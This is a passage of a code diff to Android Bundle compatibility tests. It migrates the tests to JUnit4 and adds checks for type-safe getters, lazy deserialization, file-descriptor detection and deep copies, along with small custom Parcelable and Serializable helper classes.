+        mBundle.putSerializable(KEY1, new CustomSerializable());
+        roundtrip();
+        assertNull(mBundle.getSerializable(KEY1, AnotherSerializable.class));
+        assertFalse(CustomSerializable.sDeserialized);
+    }
+
+    @Test
+    public void testGetSerializableTypeSafe_withMatchingType_returnsObject() {
+        mBundle.putSerializable(KEY1, new CustomSerializable());
+        roundtrip();
+        assertNotNull(mBundle.getSerializable(KEY1, CustomSerializable.class));
+        assertTrue(CustomSerializable.sDeserialized);
+    }
+
+    @Test
+    public void testGetSerializableTypeSafe_withBaseType_returnsObject() {
+        mBundle.putSerializable(KEY1, new CustomSerializable());
+        roundtrip();
+        assertNotNull(mBundle.getSerializable(KEY1, Serializable.class));
+        assertTrue(CustomSerializable.sDeserialized);
+    }
+
+    @Test
     public void testGetSerializableWithString() {
-        assertNull(mBundle.getSerializable(KEY));
+        assertNull(mBundle.getSerializable(KEY1));
         String s = "android";
-        mBundle.putSerializable(KEY, s);
-        assertEquals(s, mBundle.getSerializable(KEY));
+        mBundle.putSerializable(KEY1, s);
+        assertEquals(s, mBundle.getSerializable(KEY1));
         roundtrip();
-        assertEquals(s, mBundle.getSerializable(KEY));
+        assertEquals(s, mBundle.getSerializable(KEY1));
     }
 
+    @Test
     public void testGetSerializableWithStringArray() {
-        assertNull(mBundle.getSerializable(KEY));
+        assertNull(mBundle.getSerializable(KEY1));
         String[] strings = new String[]{"first", "last"};
-        mBundle.putSerializable(KEY, strings);
+        mBundle.putSerializable(KEY1, strings);
         assertEquals(Arrays.asList(strings),
-                Arrays.asList((String[]) mBundle.getSerializable(KEY)));
+                Arrays.asList((String[]) mBundle.getSerializable(KEY1)));
         roundtrip();
         assertEquals(Arrays.asList(strings),
-                Arrays.asList((String[]) mBundle.getSerializable(KEY)));
+                Arrays.asList((String[]) mBundle.getSerializable(KEY1)));
     }
 
+    @Test
     public void testGetSerializableWithMultiDimensionalObjectArray() {
-        assertNull(mBundle.getSerializable(KEY));
+        assertNull(mBundle.getSerializable(KEY1));
         Object[][] objects = new Object[][] {
                 {"string", 1L}
         };
-        mBundle.putSerializable(KEY, objects);
+        mBundle.putSerializable(KEY1, objects);
         assertEquals(Arrays.asList(objects[0]),
-                Arrays.asList(((Object[][]) mBundle.getSerializable(KEY))[0]));
+                Arrays.asList(((Object[][]) mBundle.getSerializable(KEY1))[0]));
         roundtrip();
         assertEquals(Arrays.asList(objects[0]),
-                Arrays.asList(((Object[][]) mBundle.getSerializable(KEY))[0]));
+                Arrays.asList(((Object[][]) mBundle.getSerializable(KEY1))[0]));
     }
 
+    @Test
     public void testGetShort1() {
         final short s = 1007;
 
-        assertEquals(0, mBundle.getShort(KEY));
-        mBundle.putShort(KEY, s);
-        assertEquals(s, mBundle.getShort(KEY));
+        assertEquals(0, mBundle.getShort(KEY1));
+        mBundle.putShort(KEY1, s);
+        assertEquals(s, mBundle.getShort(KEY1));
         roundtrip();
-        assertEquals(s, mBundle.getShort(KEY));
+        assertEquals(s, mBundle.getShort(KEY1));
     }
 
+    @Test
     public void testGetShort2() {
         final short s1 = 1006;
         final short s2 = 1007;
 
-        assertEquals(s1, mBundle.getShort(KEY, s1));
-        mBundle.putShort(KEY, s2);
-        assertEquals(s2, mBundle.getShort(KEY, s1));
+        assertEquals(s1, mBundle.getShort(KEY1, s1));
+        mBundle.putShort(KEY1, s2);
+        assertEquals(s2, mBundle.getShort(KEY1, s1));
         roundtrip();
-        assertEquals(s2, mBundle.getShort(KEY, s1));
+        assertEquals(s2, mBundle.getShort(KEY1, s1));
     }
 
+    @Test
     public void testGetShortArray() {
         final short s1 = 1006;
         final short s2 = 1007;
 
-        assertNull(mBundle.getShortArray(KEY));
-        mBundle.putShortArray(KEY, new short[] {
+        assertNull(mBundle.getShortArray(KEY1));
+        mBundle.putShortArray(KEY1, new short[] {
                 s1, s2
         });
-        short[] shortArray = mBundle.getShortArray(KEY);
+        short[] shortArray = mBundle.getShortArray(KEY1);
         assertEquals(s1, shortArray[0]);
         assertEquals(s2, shortArray[1]);
         roundtrip();
-        shortArray = mBundle.getShortArray(KEY);
+        shortArray = mBundle.getShortArray(KEY1);
         assertEquals(s1, shortArray[0]);
         assertEquals(s2, shortArray[1]);
     }
 
     // getSparseParcelableArray should only return the SparseArray<Parcelable>
     // set by putSparseParcelableArray
+    @Test
     public void testGetSparseParcelableArray() {
-        assertNull(mBundle.getSparseParcelableArray(KEY));
+        assertNull(mBundle.getSparseParcelableArray(KEY1));
         final SparseArray<Parcelable> sparseArray = new SparseArray<Parcelable>();
         final Bundle bundle = new Bundle();
         final Intent intent = new Intent();
         sparseArray.put(1006, bundle);
         sparseArray.put(1007, intent);
-        mBundle.putSparseParcelableArray(KEY, sparseArray);
-        SparseArray<Parcelable> ret = mBundle.getSparseParcelableArray(KEY);
+        mBundle.putSparseParcelableArray(KEY1, sparseArray);
+        SparseArray<Parcelable> ret = mBundle.getSparseParcelableArray(KEY1);
         assertEquals(2, ret.size());
         assertNull(ret.get(1008));
         assertTrue(bundle.equals(ret.get(1006)));
         assertTrue(intent.equals(ret.get(1007)));
         roundtrip();
-        ret = mBundle.getSparseParcelableArray(KEY);
+        ret = mBundle.getSparseParcelableArray(KEY1);
         assertEquals(2, ret.size());
         assertNull(ret.get(1008));
         assertBundleEquals(bundle, (Bundle) ret.get(1006));
         assertIntentEquals(intent, (Intent) ret.get(1007));
     }
 
-    public void testGetString() {
-        assertNull(mBundle.getString(KEY));
-        mBundle.putString(KEY, "android");
-        assertEquals("android", mBundle.getString(KEY));
+    @Test
+    public void testGetSparseParcelableArrayTypeSafe_withMismatchingType_returnsNull() {
+        final SparseArray<CustomParcelable> originalObjects = new SparseArray<>();
+        originalObjects.put(42, new CustomParcelable(42, "don't panic"));
+        mBundle.putSparseParcelableArray(KEY1, originalObjects);
         roundtrip();
-        assertEquals("android", mBundle.getString(KEY));
+        assertNull(mBundle.getSparseParcelableArray(KEY1, Intent.class));
+        assertFalse(CustomParcelable.sDeserialized);
     }
 
+    @Test
+    public void testGetSparseParcelableArrayTypeSafe_withMatchingType_returnsObject() {
+        final SparseArray<CustomParcelable> original = new SparseArray<>();
+        original.put(42, new CustomParcelable(42, "don't panic"));
+        original.put(1961, new CustomParcelable(1961, "off we go"));
+        mBundle.putSparseParcelableArray(KEY1, original);
+        roundtrip();
+        assertTrue(original.contentEquals(mBundle.getSparseParcelableArray(KEY1, CustomParcelable.class)));
+    }
+
+    @Test
+    public void testGetSparseParcelableArrayTypeSafe_withMismatchingTypeAndDifferentReturnType_returnsNull() {
+        final SparseArray<CustomParcelable> originalObjects = new SparseArray<>();
+        originalObjects.put(42, new CustomParcelable(42, "don't panic"));
+        mBundle.putSparseParcelableArray(KEY1, originalObjects);
+        roundtrip();
+        SparseArray<Parcelable> result = mBundle.getSparseParcelableArray(KEY1, Intent.class);
+        assertNull(result);
+        assertFalse(CustomParcelable.sDeserialized);
+    }
+
+    @Test
+    public void testGetSparseParcelableArrayTypeSafe_withMatchingTypeAndDifferentReturnType_returnsObject() {
+        final SparseArray<CustomParcelable> original = new SparseArray<>();
+        original.put(42, new CustomParcelable(42, "don't panic"));
+        original.put(1961, new CustomParcelable(1961, "off we go"));
+        mBundle.putSparseParcelableArray(KEY1, original);
+        roundtrip();
+        SparseArray<Parcelable> result = mBundle.getSparseParcelableArray(KEY1,
+                CustomParcelable.class);
+        assertTrue(original.contentEquals(result));
+    }
+
+    @Test
+    public void testGetSparseParcelableArrayTypeSafe_withBaseType_returnsObject() {
+        final SparseArray<CustomParcelable> original = new SparseArray<>();
+        original.put(42, new CustomParcelable(42, "don't panic"));
+        original.put(1961, new CustomParcelable(1961, "off we go"));
+        mBundle.putSparseParcelableArray(KEY1, original);
+        roundtrip();
+        assertTrue(original.contentEquals(mBundle.getSparseParcelableArray(KEY1, Parcelable.class)));
+    }
+
+    @Test
+    public void testGetSparseParcelableArrayTypeSafe_withMixedTypes_returnsObject() {
+        final SparseArray<Parcelable> original = new SparseArray<>();
+        original.put(42, new CustomParcelable(42, "don't panic"));
+        original.put(1961, new Intent("action"));
+        mBundle.putSparseParcelableArray(KEY1, original);
+        roundtrip();
+        final SparseArray<Parcelable> received = mBundle.getSparseParcelableArray(KEY1, Parcelable.class);
+        assertEquals(original.size(), received.size());
+        assertEquals(original.get(42), received.get(42));
+        assertIntentEquals((Intent) original.get(1961), (Intent) received.get(1961));
+    }
+
+    @Test
+    public void testGetString() {
+        assertNull(mBundle.getString(KEY1));
+        mBundle.putString(KEY1, "android");
+        assertEquals("android", mBundle.getString(KEY1));
+        roundtrip();
+        assertEquals("android", mBundle.getString(KEY1));
+    }
+
+    @Test
     public void testGetStringArray() {
-        assertNull(mBundle.getStringArray(KEY));
-        mBundle.putStringArray(KEY, new String[] {
+        assertNull(mBundle.getStringArray(KEY1));
+        mBundle.putStringArray(KEY1, new String[] {
                 "one", "two", "three"
         });
-        String[] ret = mBundle.getStringArray(KEY);
+        String[] ret = mBundle.getStringArray(KEY1);
         assertEquals("one", ret[0]);
         assertEquals("two", ret[1]);
         assertEquals("three", ret[2]);
         roundtrip();
-        ret = mBundle.getStringArray(KEY);
+        ret = mBundle.getStringArray(KEY1);
         assertEquals("one", ret[0]);
         assertEquals("two", ret[1]);
         assertEquals("three", ret[2]);
     }
 
     // getStringArrayList should only return the StringArrayList set by putStringArrayList
+    @Test
     public void testGetStringArrayList() {
-        assertNull(mBundle.getStringArrayList(KEY));
+        assertNull(mBundle.getStringArrayList(KEY1));
         final ArrayList<String> stringArrayList = new ArrayList<String>();
         stringArrayList.add("one");
         stringArrayList.add("two");
         stringArrayList.add("three");
-        mBundle.putStringArrayList(KEY, stringArrayList);
-        ArrayList<String> ret = mBundle.getStringArrayList(KEY);
+        mBundle.putStringArrayList(KEY1, stringArrayList);
+        ArrayList<String> ret = mBundle.getStringArrayList(KEY1);
         assertEquals(3, ret.size());
         assertEquals("one", ret.get(0));
         assertEquals("two", ret.get(1));
         assertEquals("three", ret.get(2));
         roundtrip();
-        ret = mBundle.getStringArrayList(KEY);
+        ret = mBundle.getStringArrayList(KEY1);
         assertEquals(3, ret.size());
         assertEquals("one", ret.get(0));
         assertEquals("two", ret.get(1));
         assertEquals("three", ret.get(2));
     }
 
+    @Test
     public void testKeySet() {
         Set<String> setKey = mBundle.keySet();
         assertFalse(setKey.contains("one"));
@@ -679,10 +964,11 @@
     // same as hasFileDescriptors, the only difference is that describeContents
     // return 0 if no fd and return 1 if has fd for the tested Bundle
 
+    @Test
     public void testDescribeContents() {
         assertTrue((mBundle.describeContents()
                 & Parcelable.CONTENTS_FILE_DESCRIPTOR) == 0);
-        
+
         final Parcel parcel = Parcel.obtain();
         try {
             mBundle.putParcelable("foo", ParcelFileDescriptor.open(
@@ -710,9 +996,10 @@
     //  if it read data from a Parcel object, which is created with a FileDescriptor.
     // case 3: The tested Bundle should has FileDescriptor
     //  if put a Parcelable object, which is created with a FileDescriptor, into it.
-    public void testHasFileDescriptors() {
+    @Test
+    public void testHasFileDescriptors_withParcelFdItem() {
         assertFalse(mBundle.hasFileDescriptors());
-        
+
         final Parcel parcel = Parcel.obtain();
         assertFalse(parcel.hasFileDescriptors());
         try {
@@ -728,11 +1015,83 @@
         assertFalse(mBundle.hasFileDescriptors());
         parcel.setDataPosition(0);
         mBundle.readFromParcel(parcel);
-        assertTrue(mBundle.hasFileDescriptors());
-        ParcelFileDescriptor pfd = (ParcelFileDescriptor)mBundle.getParcelable("foo");
-        assertTrue(mBundle.hasFileDescriptors());
+        assertTrue(mBundle.hasFileDescriptors()); // Checks the parcel
+
+        // Remove item to trigger deserialization and remove flag FLAG_HAS_FDS_KNOWN such that next
+        // query triggers flag computation from lazy value
+        mBundle.remove("unexistent");
+        assertTrue(mBundle.hasFileDescriptors()); // Checks the lazy value
+
+        // Trigger flag computation
+        mBundle.remove("unexistent");
+        ParcelFileDescriptor pfd = mBundle.getParcelable("foo"); // Extracts the lazy value
+        assertTrue(mBundle.hasFileDescriptors()); // Checks the object
+
+        // Now, check the lazy value returns false
+        mBundle.clear();
+        mBundle.putParcelable(KEY1, new CustomParcelable(13, "Tiramisu"));
+        roundtrip();
+        // Trigger flag computation
+        mBundle.putParcelable("random", new CustomParcelable(13, "Tiramisu"));
+        assertFalse(mBundle.hasFileDescriptors()); // Checks the lazy value
     }
 
+    @Test
+    public void testHasFileDescriptors_withParcelable() throws Exception {
+        assertTrue(mBundle.isEmpty());
+        assertFalse(mBundle.hasFileDescriptors());
+
+        mBundle.putParcelable("key", ParcelFileDescriptor.dup(FileDescriptor.in));
+        assertTrue(mBundle.hasFileDescriptors());
+
+        mBundle.putParcelable("key", new CustomParcelable(13, "Tiramisu"));
+        assertFalse(mBundle.hasFileDescriptors());
+    }
+
+    @Test
+    public void testHasFileDescriptors_withStringArray() throws Exception {
+        assertTrue(mBundle.isEmpty());
+        assertFalse(mBundle.hasFileDescriptors());
+
+        mBundle.putStringArray("key", new String[] { "string" });
+        assertFalse(mBundle.hasFileDescriptors());
+    }
+
+    @Test
+    public void testHasFileDescriptors_withSparseArray() throws Exception {
+        assertTrue(mBundle.isEmpty());
+        assertFalse(mBundle.hasFileDescriptors());
+
+        SparseArray<Parcelable> fdArray = new SparseArray<>();
+        fdArray.append(0, ParcelFileDescriptor.dup(FileDescriptor.in));
+        mBundle.putSparseParcelableArray("key", fdArray);
+        assertTrue(mBundle.hasFileDescriptors());
+
+        SparseArray<Parcelable> noFdArray = new SparseArray<>();
+        noFdArray.append(0, new CustomParcelable(13, "Tiramisu"));
+        mBundle.putSparseParcelableArray("key", noFdArray);
+        assertFalse(mBundle.hasFileDescriptors());
+
+        SparseArray<Parcelable> emptyArray = new SparseArray<>();
+        mBundle.putSparseParcelableArray("key", emptyArray);
+        assertFalse(mBundle.hasFileDescriptors());
+    }
+
+    @Test
+    public void testHasFileDescriptors_withParcelableArray() throws Exception {
+        assertTrue(mBundle.isEmpty());
+        assertFalse(mBundle.hasFileDescriptors());
+
+        mBundle.putParcelableArray("key",
+                new Parcelable[] { ParcelFileDescriptor.dup(FileDescriptor.in) });
+        assertTrue(mBundle.hasFileDescriptors());
+
+        mBundle.putParcelableArray("key",
+                new Parcelable[] { new CustomParcelable(13, "Tiramisu") });
+        assertFalse(mBundle.hasFileDescriptors());
+    }
+
+    @Test
     public void testHasFileDescriptorsOnNullValuedCollection() {
         assertFalse(mBundle.hasFileDescriptors());
 
@@ -753,24 +1112,74 @@
         mBundle.clear();
     }
 
+    @SuppressWarnings("unchecked")
+    @Test
+    public void testHasFileDescriptors_withNestedContainers() throws IOException {
+        // Purposely omitting generic types here, this is still "valid" app code after all.
+        ArrayList nested = new ArrayList(
+                Arrays.asList(Arrays.asList(ParcelFileDescriptor.dup(FileDescriptor.in))));
+        mBundle.putParcelableArrayList("list", nested);
+        assertTrue(mBundle.hasFileDescriptors());
+
+        roundtrip(/* parcel */ false);
+        assertTrue(mBundle.hasFileDescriptors());
+
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        mBundle.remove("unexistent"); // Removes cached value (removes FLAG_HAS_FDS_KNOWN)
+        assertTrue(mBundle.hasFileDescriptors()); // Checks lazy value
+    }
+
+    @Test
+    public void testHasFileDescriptors_withOriginalParcelContainingFdButNotItems() throws IOException {
+        mBundle.putParcelable("fd", ParcelFileDescriptor.dup(FileDescriptor.in));
+        mBundle.putParcelable("parcelable", new CustomParcelable(13, "Tiramisu"));
+        assertTrue(mBundle.hasFileDescriptors());
+
+        roundtrip(/* parcel */ false);
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        assertTrue(mBundle.hasFileDescriptors());
+        mBundle.remove("fd");
+
+        // Will check the item's specific range in the original parcel
+        assertFalse(mBundle.hasFileDescriptors());
+    }
+
+    @Test
+    public void testHasFileDescriptors_withOriginalParcelAndItemsContainingFd() throws IOException {
+        mBundle.putParcelable("fd", ParcelFileDescriptor.dup(FileDescriptor.in));
+        mBundle.putParcelable("parcelable", new CustomParcelable(13, "Tiramisu"));
+        assertTrue(mBundle.hasFileDescriptors());
+
+        roundtrip(/* parcel */ false);
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        assertTrue(mBundle.hasFileDescriptors());
+        mBundle.remove("parcelable");
+
+        // Will check the item's specific range in the original parcel
+        assertTrue(mBundle.hasFileDescriptors());
+    }
+
+    @Test
     public void testSetClassLoader() {
         mBundle.setClassLoader(new MockClassLoader());
     }
 
     // Write the bundle(A) to a parcel(B), and then create a bundle(C) from B.
     // C should be same as A.
+    @Test
     public void testWriteToParcel() {
         final String li = "Bruce Li";
 
-        mBundle.putString(KEY, li);
+        mBundle.putString(KEY1, li);
         final Parcel parcel = Parcel.obtain();
         mBundle.writeToParcel(parcel, 0);
         parcel.setDataPosition(0);
         final Bundle bundle = Bundle.CREATOR.createFromParcel(parcel);
-        assertEquals(li, bundle.getString(KEY));
+        assertEquals(li, bundle.getString(KEY1));
     }
 
     // test the size should be right after add/remove key-value pair of the Bundle.
+    @Test
     public void testSize() {
         assertEquals(0, mBundle.size());
         mBundle.putBoolean("one", true);
@@ -803,6 +1212,7 @@
     }
 
     // The return value of toString() should not be null.
+    @Test
     public void testToString() {
         assertNotNull(mBundle.toString());
         mBundle.putString("foo", "this test is so stupid");
@@ -810,21 +1220,37 @@
     }
 
     // The tested Bundle should hold mappings from the given after putAll be invoked.
+    @Test
     public void testPutAll() {
         assertEquals(0, mBundle.size());
 
         final Bundle map = new Bundle();
-        map.putBoolean(KEY, true);
+        map.putBoolean(KEY1, true);
         assertEquals(1, map.size());
         mBundle.putAll(map);
         assertEquals(1, mBundle.size());
     }
 
     private void roundtrip() {
-        Parcel out = Parcel.obtain();
-        mBundle.writeToParcel(out, 0);
-        Parcel in = roundtripParcel(out);
-        mBundle = in.readBundle();
+        roundtrip(/* parcel */ true);
+    }
+
+    private void roundtrip(boolean parcel) {
+        mBundle = roundtrip(mBundle, parcel);
+    }
+
+    private Bundle roundtrip(Bundle bundle) {
+        return roundtrip(bundle, /* parcel */ true);
+    }
+
+    private Bundle roundtrip(Bundle bundle, boolean parcel) {
+        Parcel p = Parcel.obtain();
+        bundle.writeToParcel(p, 0);
+        if (parcel) {
+            p = roundtripParcel(p);
+        }
+        p.setDataPosition(0);
+        return p.readBundle(bundle.getClassLoader());
     }
 
     private Parcel roundtripParcel(Parcel out) {
@@ -858,6 +1284,7 @@
         }
     }
 
+    @Test
     public void testHasFileDescriptor() throws Exception {
         final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
         try {
@@ -902,8 +1329,9 @@
         }
     }
 
+    @Test
     public void testBundleLengthNotAlignedByFour() {
-        mBundle.putBoolean(KEY, true);
+        mBundle.putBoolean(KEY1, true);
         assertEquals(1, mBundle.size());
         Parcel p = Parcel.obtain();
         final int lengthPos = p.dataPosition();
@@ -925,6 +1353,319 @@
         }
     }
 
+    @Test
+    public void testGetCustomParcelable() {
+        Parcelable parcelable = new CustomParcelable(13, "Tiramisu");
+        mBundle.putParcelable(KEY1, parcelable);
+        assertEquals(parcelable, mBundle.getParcelable(KEY1));
+        assertEquals(1, mBundle.size());
+        roundtrip();
+        assertNotSame(parcelable, mBundle.getParcelable(KEY1));
+        assertEquals(parcelable, mBundle.getParcelable(KEY1));
+        assertEquals(1, mBundle.size());
+    }
+
+    @Test
+    public void testGetNestedParcelable() {
+        Parcelable nested = new CustomParcelable(13, "Tiramisu");
+        ComposedParcelable parcelable = new ComposedParcelable(26, nested);
+        mBundle.putParcelable(KEY1, parcelable);
+        assertEquals(parcelable, mBundle.getParcelable(KEY1));
+        assertEquals(1, mBundle.size());
+        roundtrip();
+        ComposedParcelable reconstructed = mBundle.getParcelable(KEY1);
+        assertNotSame(parcelable, reconstructed);
+        assertEquals(parcelable, reconstructed);
+        assertNotSame(nested, reconstructed.parcelable);
+        assertEquals(nested, reconstructed.parcelable);
+        assertEquals(1, mBundle.size());
+    }
+
+    @Test
+    public void testItemDeserializationIndependence() {
+        Parcelable parcelable = new CustomParcelable(13, "Tiramisu");
+        Parcelable bomb = new CustomParcelable(13, "Tiramisu").setThrowsDuringDeserialization(true);
+        mBundle.putParcelable(KEY1, parcelable);
+        mBundle.putParcelable(KEY2, bomb);
+        assertEquals(parcelable, mBundle.getParcelable(KEY1));
+        assertEquals(bomb, mBundle.getParcelable(KEY2));
+        assertEquals(2, mBundle.size());
+        roundtrip();
+        assertEquals(2, mBundle.size());
+        Parcelable reParcelable = mBundle.getParcelable(KEY1);
+        // Passed if it didn't throw
+        assertNotSame(parcelable, reParcelable);
+        assertEquals(parcelable, reParcelable);
+        assertThrows(RuntimeException.class, () -> mBundle.getParcelable(KEY2));
+        assertEquals(2, mBundle.size());
+    }
+
+    @Test
+    public void testLazyValueReserialization() {
+        Parcelable parcelable = new CustomParcelable(13, "Tiramisu");
+        mBundle.putParcelable(KEY1, parcelable);
+        mBundle.putString(KEY2, "value");
+        roundtrip();
+        assertEquals("value", mBundle.getString(KEY2));
+        // Since we haven't retrieved KEY1, its value is still a lazy value inside bundle
+        roundtrip();
+        assertEquals(parcelable, mBundle.getParcelable(KEY1));
+        assertEquals("value", mBundle.getString(KEY2));
+    }
+
+    @Test
+    public void testPutAll_withLazyValues() {
+        Parcelable parcelable = new CustomParcelable(13, "Tiramisu");
+        mBundle.putParcelable(KEY1, parcelable);
+        roundtrip();
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        Bundle copy = new Bundle();
+        copy.putAll(mBundle);
+        assertEquals(parcelable, copy.getParcelable(KEY1));
+        // Here we're verifying that LazyValue caches the deserialized object, hence they are the
+        // same instance
+        assertSame(copy.getParcelable(KEY1), mBundle.getParcelable(KEY1));
+        assertEquals(1, copy.size());
+    }
+
+    @Test
+    public void testDeepCopy_withLazyValues() {
+        Parcelable parcelable = new CustomParcelable(13, "Tiramisu");
+        mBundle.putParcelable(KEY1, parcelable);
+        roundtrip();
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        Bundle copy = mBundle.deepCopy();
+        assertEquals(parcelable, copy.getParcelable(KEY1));
+        // Here we're verifying that LazyValue caches the deserialized object, hence they are the
+        // same instance
+        assertSame(copy.getParcelable(KEY1), mBundle.getParcelable(KEY1));
+        assertEquals(1, copy.size());
+    }
+
+    @Test
+    public void testDeepCopy_withNestedParcelable() {
+        Parcelable nested = new CustomParcelable(13, "Tiramisu");
+        ComposedParcelable parcelable = new ComposedParcelable(26, nested);
+        mBundle.putParcelable(KEY1, parcelable);
+        roundtrip();
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        Bundle copy = mBundle.deepCopy();
+        ComposedParcelable reconstructed = copy.getParcelable(KEY1);
+        assertEquals(parcelable, reconstructed);
+        assertSame(copy.getParcelable(KEY1), mBundle.getParcelable(KEY1));
+        assertEquals(nested, reconstructed.parcelable);
+        assertEquals(1, copy.size());
+    }
+
+    @Test
+    public void testDeepCopy_withNestedBundleAndLazyValues() {
+        Parcelable parcelable = new CustomParcelable(13, "Tiramisu");
+        Bundle inner = new Bundle();
+        inner.putParcelable(KEY1, parcelable);
+        inner = roundtrip(inner);
+        inner.setClassLoader(getClass().getClassLoader());
+        inner.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        mBundle.putParcelable(KEY1, inner);
+        Bundle copy = mBundle.deepCopy();
+        assertEquals(parcelable, copy.getBundle(KEY1).getParcelable(KEY1));
+        assertNotSame(mBundle.getBundle(KEY1), copy.getBundle(KEY1));
+        assertSame(mBundle.getBundle(KEY1).getParcelable(KEY1),
+                copy.getBundle(KEY1).getParcelable(KEY1));
+        assertEquals(1, copy.getBundle(KEY1).size());
+        assertEquals(1, copy.size());
+    }
+
+    @Test
+    public void testGetParcelable_isLazy() {
+        mBundle.putParcelable(KEY1, new CustomParcelable(13, "Tiramisu"));
+        roundtrip();
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        assertThat(CustomParcelable.sDeserialized).isFalse();
+        mBundle.getParcelable(KEY1);
+        assertThat(CustomParcelable.sDeserialized).isTrue();
+    }
+
+    @Test
+    public void testGetParcelableArray_isLazy() {
+        mBundle.putParcelableArray(KEY1, new Parcelable[] {new CustomParcelable(13, "Tiramisu")});
+        roundtrip();
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        assertThat(CustomParcelable.sDeserialized).isFalse();
+        mBundle.getParcelableArray(KEY1);
+        assertThat(CustomParcelable.sDeserialized).isTrue();
+    }
+
+    @Test
+    public void testGetParcelableArrayList_isLazy() {
+        mBundle.putParcelableArrayList(KEY1,
+                new ArrayList<>(singletonList(new CustomParcelable(13, "Tiramisu"))));
+        roundtrip();
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        assertThat(CustomParcelable.sDeserialized).isFalse();
+        mBundle.getParcelableArrayList(KEY1);
+        assertThat(CustomParcelable.sDeserialized).isTrue();
+    }
+
+    @Test
+    public void testGetSparseParcelableArray_isLazy() {
+        SparseArray<Parcelable> container = new SparseArray<>();
+        container.put(0, new CustomParcelable(13, "Tiramisu"));
+        mBundle.putSparseParcelableArray(KEY1, container);
+        roundtrip();
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        assertThat(CustomParcelable.sDeserialized).isFalse();
+        mBundle.getSparseParcelableArray(KEY1);
+        assertThat(CustomParcelable.sDeserialized).isTrue();
+    }
+
+    @Test
+    public void testGetSerializable_isLazy() {
+        mBundle.putSerializable(KEY1, new CustomSerializable());
+        roundtrip();
+        mBundle.isEmpty(); // Triggers partial deserialization (leaving lazy values)
+        assertThat(CustomSerializable.sDeserialized).isFalse();
+        mBundle.getSerializable(KEY1);
+        assertThat(CustomSerializable.sDeserialized).isTrue();
+    }
+
+    private static class CustomSerializable implements Serializable {
+        public static boolean sDeserialized = false;
+
+        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+            in.defaultReadObject();
+            sDeserialized = true;
+        }
+    }
+
+    private static class AnotherSerializable implements Serializable {
+    }
+
+    private static class CustomParcelable implements Parcelable {
+        public static boolean sDeserialized = false;
+
+        public final int integer;
+        public final String string;
+        public boolean throwsDuringDeserialization;
+
+        public CustomParcelable(int integer, String string) {
+            this.integer = integer;
+            this.string = string;
+        }
+
+        protected CustomParcelable(Parcel in) {
+            integer = in.readInt();
+            string = in.readString();
+            throwsDuringDeserialization = in.readBoolean();
+            if (throwsDuringDeserialization) {
+                throw new RuntimeException();
+            }
+            sDeserialized = true;
+        }
+
+        public CustomParcelable setThrowsDuringDeserialization(
+                boolean throwsDuringDeserialization) {
+            this.throwsDuringDeserialization = throwsDuringDeserialization;
+            return this;
+        }
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        @Override
+        public void writeToParcel(Parcel out, int flags) {
+            out.writeInt(integer);
+            out.writeString(string);
+            out.writeBoolean(throwsDuringDeserialization);
+        }
+
+        @Override
+        public boolean equals(Object other) {
+            if (this == other) {
+                return true;
+            }
+            if (!(other instanceof CustomParcelable)) {
+                return false;
+            }
+            CustomParcelable that = (CustomParcelable) other;
+            return integer == that.integer
+                    && throwsDuringDeserialization == that.throwsDuringDeserialization
+                    && string.equals(that.string);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(integer, string, throwsDuringDeserialization);
+        }
+
+        public static final Creator<CustomParcelable> CREATOR = new Creator<CustomParcelable>() {
+            @Override
+            public CustomParcelable createFromParcel(Parcel in) {
+                return new CustomParcelable(in);
+            }
+            @Override
+            public CustomParcelable[] newArray(int size) {
+                return new CustomParcelable[size];
+            }
+        };
+    }
+
+    private static class ComposedParcelable implements Parcelable {
+        public final int integer;
+        public final Parcelable parcelable;
+
+        public ComposedParcelable(int integer, Parcelable parcelable) {
+            this.integer = integer;
+            this.parcelable = parcelable;
+        }
+
+        protected ComposedParcelable(Parcel in) {
+            integer = in.readInt();
+            parcelable = in.readParcelable(getClass().getClassLoader());
+        }
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        @Override
+        public void writeToParcel(Parcel out, int flags) {
+            out.writeInt(integer);
+            out.writeParcelable(parcelable, flags);
+        }
+
+        @Override
+        public boolean equals(Object other) {
+            if (this == other) {
+                return true;
+            }
+            if (!(other instanceof ComposedParcelable)) {
+                return false;
+            }
+            ComposedParcelable that = (ComposedParcelable) other;
+            return integer == that.integer && Objects.equals(parcelable, that.parcelable);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(integer, parcelable);
+        }
+
+        public static final Creator<ComposedParcelable> CREATOR =
+                new Creator<ComposedParcelable>() {
+                    @Override
+                    public ComposedParcelable createFromParcel(Parcel in) {
+                        return new ComposedParcelable(in);
+                    }
+                    @Override
+                    public ComposedParcelable[] newArray(int size) {
+                        return new ComposedParcelable[size];
+                    }
+                };
+    }
+
     /** Create a Bundle with values, with autogenerated keys. */
     private static Bundle buildBundle(Object... values) {
         final Bundle result = new Bundle();
@@ -993,4 +1734,12 @@
             super();
         }
     }
-}
\ No newline at end of file
+
+    private static <T> T uncheck(Callable<T> runnable) {
+        try {
+            return runnable.call();
+        } catch (Exception e) {
+            throw new AssertionError(e);
+        }
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/CpuInstructions.java b/tests/tests/os/src/android/os/cts/CpuInstructions.java
index 45fb2f1..1def367 100644
--- a/tests/tests/os/src/android/os/cts/CpuInstructions.java
+++ b/tests/tests/os/src/android/os/cts/CpuInstructions.java
@@ -24,6 +24,5 @@
 
     public static native boolean canReadCntvct();
     public static native boolean hasSwp();
-    public static native boolean hasSetend();
     public static native boolean hasCp15Barriers();
 }
